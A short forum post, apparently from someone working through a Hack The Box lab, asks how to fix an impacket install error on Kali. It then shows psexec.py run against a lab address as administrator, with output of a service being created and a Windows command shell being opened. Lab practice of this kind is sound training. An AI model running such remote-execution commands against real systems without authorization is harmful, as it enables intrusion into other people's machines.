Any ideas how to get this impacket working on Kali?
Getting error:
pkg_resources.ResolutionError: Script ‘scripts/psexec.py’ not found in metadata at ‘/home/rhaserid/.local/lib/python2.7/site-packages/impacket-0.9.22.dev1.dist-info’
Here’s the whole thing:
I am trying to follow the guide at: Login :: Hack The Box :: Penetration Testing Labs
OK, I downloaded & extracted the git repo and fired the script from the examples directory without installing anything. That seems to work without issues.
rhaserid@Dramonly:~/impacket-master/examples$ python psexec.py administrator@10.10.10.27
Impacket v0.9.22.dev1 - Copyright 2020 SecureAuth Corporation
Password:
[] Requesting shares on 10.10.10.27…
[] Found writable share ADMIN$
[] Uploading file vkiXCcvT.exe
[] Opening SVCManager on 10.10.10.27…
[] Creating service rXlU on 10.10.10.27…
[] Starting service rXlU…
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>